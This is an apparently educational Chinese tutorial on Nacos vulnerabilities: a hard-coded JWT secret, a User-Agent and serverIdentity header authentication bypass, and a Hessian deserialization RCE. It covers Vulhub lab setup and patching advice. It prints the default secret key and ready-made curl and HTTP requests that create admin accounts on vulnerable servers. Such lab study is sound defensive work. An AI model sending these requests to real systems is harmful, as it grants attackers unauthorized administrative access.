nacos相关漏洞学习
字数 2029 2025-08-23 18:31:17
Nacos相关漏洞分析与利用教学文档
目录
- 环境搭建
- JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271)
- 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)
- Identity Key Value硬编码权限绕过
- Hessian反序列化RCE漏洞
- 总结与防护建议
1. 环境搭建
为了复现Nacos相关漏洞,推荐使用Vulhub环境:
# 下载并进入漏洞环境
cd vulhub-master/nacos/CVE-2021-29441
# 启动环境
docker-compose up -d
# 如果nacos服务启动失败(通常由于数据库连接问题)
docker-compose restart nacos # 或重启所有服务
访问地址:http://127.0.0.1:8848/nacos/#/login
默认账号密码:nacos/nacos
2. JWT Secret Key硬编码导致的认证绕过漏洞(QVD-2023-6271)
漏洞描述
即使配置了NACOS_AUTH_ENABLE=true和自定义的NACOS_AUTH_TOKEN,系统仍使用默认的secret.key生成access_token,导致身份验证可以被绕过。
漏洞细节
- 默认
secret.key值:SecretKey012345678901234567890123456789012345678901234567890123456789 - 该值可在
application.properties中找到 - 攻击者可利用该密钥伪造JWT token访问敏感API
利用方法
- 使用默认密钥生成JWT token
- 构造恶意请求添加管理员用户:
curl -XPOST 'http://ip:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=123456'
影响版本
- 所有使用默认
secret.key且未正确配置自定义token的Nacos版本
3. 不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)
漏洞描述
当请求的User-Agent为"Nacos-Server"时,Nacos会跳过所有认证检查。
影响版本
- Nacos <= 1.4.1
- 配置了身份验证(
-Dnacos.core.auth.enabled=true)
利用方法
获取用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host: ip:8848
User-Agent: Nacos-Server
添加用户
POST /nacos/v1/auth/users?username=admin&password=123456 HTTP/1.1
Host: ip:8848
User-Agent: Nacos-Server
4. Identity Key Value硬编码权限绕过
漏洞描述
当请求头包含serverIdentity:security时,可以绕过权限认证。
影响版本
- Nacos <= 2.2.0
- 配置了
nacos.core.auth.enabled=true
漏洞原理
代码位于AuthFilter.java,检查逻辑:
- 检查
authConfigs是否设置了serverIdentityKey和serverIdentityValue - 如果配置非空,从HTTP头部获取服务器身份信息
- 比较header中的value值与配置文件中
nacos.core.auth.server.identity.value是否相同
利用方法
curl -XPOST 'http://ip:8848/nacos/v1/auth/users?username=admin2&password=123456' -H "serverIdentity: security"
5. Hessian反序列化RCE漏洞
漏洞描述
Nacos默认7848端口用于集群间Raft协议通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化,可能导致远程代码执行。
影响版本
- 1.4.0 <= Nacos < 1.4.6
- 2.0.0 <= Nacos < 2.2.3
利用方法
由于Hessian反序列化漏洞利用较为复杂,通常需要以下步骤:
- 识别开放的7848端口
- 构造恶意的Hessian序列化数据
- 发送到目标Nacos服务的7848端口
- 触发反序列化执行任意代码
6. 总结与防护建议
漏洞总结
| 漏洞类型 | CVE/QVD编号 | 影响版本 | 关键点 |
|---|---|---|---|
| JWT硬编码 | QVD-2023-6271 | 所有版本 | 默认SecretKey0123... |
| User-Agent绕过 | CVE-2021-29441 | <=1.4.1 | Nacos-Server头 |
| Identity硬编码 | - | <=2.2.0 | serverIdentity:security头 |
| Hessian反序列化 | - | 1.4.0-1.4.6, 2.0.0-2.2.3 | 7848端口 |
防护建议
- 修改默认的
secret.key为复杂随机值 - 升级到最新版本Nacos
- 限制7848端口的访问
- 配置自定义的
serverIdentityKey和serverIdentityValue - 实施网络隔离,限制Nacos控制台的访问
- 定期审计Nacos配置和用户列表
修复方案
- 对于JWT硬编码问题:修改
application.properties中的secret.key并重启服务 - 对于CVE-2021-29441:升级到Nacos 1.4.2或更高版本
- 对于Identity硬编码:升级到Nacos 2.2.1或更高版本
- 对于Hessian反序列化:升级到Nacos 1.4.6/2.2.3或更高版本